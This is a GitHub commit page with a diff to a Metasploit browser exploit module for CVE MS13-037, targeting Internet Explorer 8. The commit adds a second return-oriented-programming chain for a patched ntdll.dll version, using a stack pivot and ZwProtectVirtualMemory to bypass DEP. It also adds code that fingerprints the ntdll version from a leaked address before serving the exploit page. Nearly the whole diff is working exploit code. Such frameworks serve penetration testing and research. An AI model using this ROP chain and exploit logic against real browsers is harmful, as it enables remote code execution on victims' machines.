Skip to content

Commit 5c80534

Browse files
author
jvazquez-r7
committed
Add DEP bypass for ntdll ms12-001
1 parent a1c7961 commit 5c80534

File tree

1 file changed

+74
-27
lines changed

1 file changed

+74
-27
lines changed

modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb

Lines changed: 74 additions & 27 deletions
Original file line numberDiff line numberDiff line change
@@ -72,7 +72,10 @@ def initialize(info={})
7272
'Offset' => '0x5f4'
7373
}
7474
],
75-
[ 'IE 8 on Windows 7 SP1 with ntdll.dll Info Leak', # requires ntdll.dll v 6.1.7601.17514
75+
# requires:
76+
# * ntdll.dll v6.1.7601.17514 (fresh W7SP1 installation)
77+
# * ntdll.dll v6.1.7601.17725 (MS12-001)
78+
[ 'IE 8 on Windows 7 SP1 with ntdll.dll Info Leak',
7679
{
7780
'Rop' => :ntdll,
7881
'Offset' => '0x5f4'
@@ -155,25 +158,9 @@ def ie_heap_spray(my_target, p)
155158
return js
156159
end
157160

158-
def get_payload(t, cli)
159-
code = payload.encoded
160-
# No rop. Just return the payload.
161-
return code if t['Rop'].nil?
162-
163-
# Both ROP chains generated by mona.py - See corelan.be
164-
case t['Rop']
165-
when :jre
166-
print_status("Using JRE ROP")
167-
168-
stack_pivot = [
169-
0x7c348b06, # ret # from msvcr71
170-
0x7c341748, # pop ebx # ret # from msvcr71
171-
0x7c348b05 # xchg eax, esp # ret from msvcr71
172-
].pack("V*")
173-
174-
rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot})
175-
when :ntdll
176-
print_status("Using ntdll ROP")
161+
def get_ntdll_rop
162+
case @ntdll_version
163+
when "6.1.7601.17514"
177164
stack_pivot = [
178165
@ntdll_base+0x0001578a, # ret # from ntdll
179166
@ntdll_base+0x000096c9, # pop ebx # ret # from ntdll
@@ -191,7 +178,49 @@ def get_payload(t, cli)
191178
0x00000400, # NumberOfBytesToProtect
192179
0x41414141 # OldAccessProtection
193180
].pack("V*")
194-
rop_payload = stack_pivot + ntdll_rop + payload.encoded
181+
return stack_pivot + ntdll_rop
182+
when "6.1.7601.17725"
183+
stack_pivot = [
184+
@ntdll_base+0x0001579a, # ret # from ntdll
185+
@ntdll_base+0x000096c9, # pop ebx # ret # from ntdll
186+
@ntdll_base+0x00015799, # xchg eax, esp # ret from ntdll
187+
].pack("V*")
188+
ntdll_rop = [
189+
@ntdll_base+0x45F18, # ntdll!ZwProtectVirtualMemory
190+
0x0c0c0c40, # ret to shellcode
191+
0xffffffff, # ProcessHandle
192+
0x0c0c0c34, # ptr to BaseAddress
193+
0x0c0c0c38, # ptr to NumberOfBytesToProtect
194+
0x00000040, # NewAccessProtection
195+
0x0c0c0c3c, # ptr to OldAccessProtection
196+
0x0c0c0c40, # BaseAddress
197+
0x00000400, # NumberOfBytesToProtect
198+
0x41414141 # OldAccessProtection
199+
].pack("V*")
200+
return stack_pivot + ntdll_rop
201+
else
202+
return ""
203+
end
204+
end
205+
206+
def get_payload(t, cli)
207+
code = payload.encoded
208+
# No rop. Just return the payload.
209+
return code if t['Rop'].nil?
210+
211+
# Both ROP chains generated by mona.py - See corelan.be
212+
case t['Rop']
213+
when :jre
214+
print_status("Using JRE ROP")
215+
stack_pivot = [
216+
0x7c348b06, # ret # from msvcr71
217+
0x7c341748, # pop ebx # ret # from msvcr71
218+
0x7c348b05 # xchg eax, esp # ret from msvcr71
219+
].pack("V*")
220+
rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot})
221+
when :ntdll
222+
print_status("Using ntdll ROP")
223+
rop_payload = get_ntdll_rop + payload.encoded
195224
end
196225

197226
return rop_payload
@@ -380,17 +409,35 @@ def on_request_uri(cli, request)
380409
rescue
381410
0
382411
end
383-
@ntdll_base = leak - 0x470B0
384-
vprint_status("ntdll leak: #{leak.to_s(16)}, ntdll base: #{@ntdll_base.to_s(16)}")
385-
if ((leak != 0) && ((@ntdll_base & 0x1111) != 0))
386-
print_error("ntdll version not detected, sending 404: #{agent}")
387-
send_not_found(cli)
388-
return
412+
413+
if leak == 0
414+
html = load_exploit_html(my_target, cli)
415+
html = html.gsub(/^\t\t/, '')
416+
print_status("Sending HTML to trigger...")
417+
send_response(cli, html, {'Content-Type'=>'text/html'})
389418
end
419+
420+
vprint_status("ntdll leak: 0x#{leak.to_s(16)}")
421+
fingerprint = leak & 0x0000ffff
422+
423+
case fingerprint
424+
when 0x70B0
425+
@ntdll_version = "6.1.7601.17514"
426+
@ntdll_base = leak - 0x470B0
427+
when 0x7090
428+
@ntdll_version = "6.1.7601.17725" # MS12-001
429+
@ntdll_base = leak - 0x47090
430+
else
431+
print_error("ntdll version not detected, sending 404: #{agent}")
432+
send_not_found(cli)
433+
return
434+
end
435+
390436
html = load_exploit_html(my_target, cli)
391437
html = html.gsub(/^\t\t/, '')
392438
print_status("Sending HTML to trigger...")
393439
send_response(cli, html, {'Content-Type'=>'text/html'})
440+
394441
end
395442

396443
end

0 commit comments

Comments
 (0)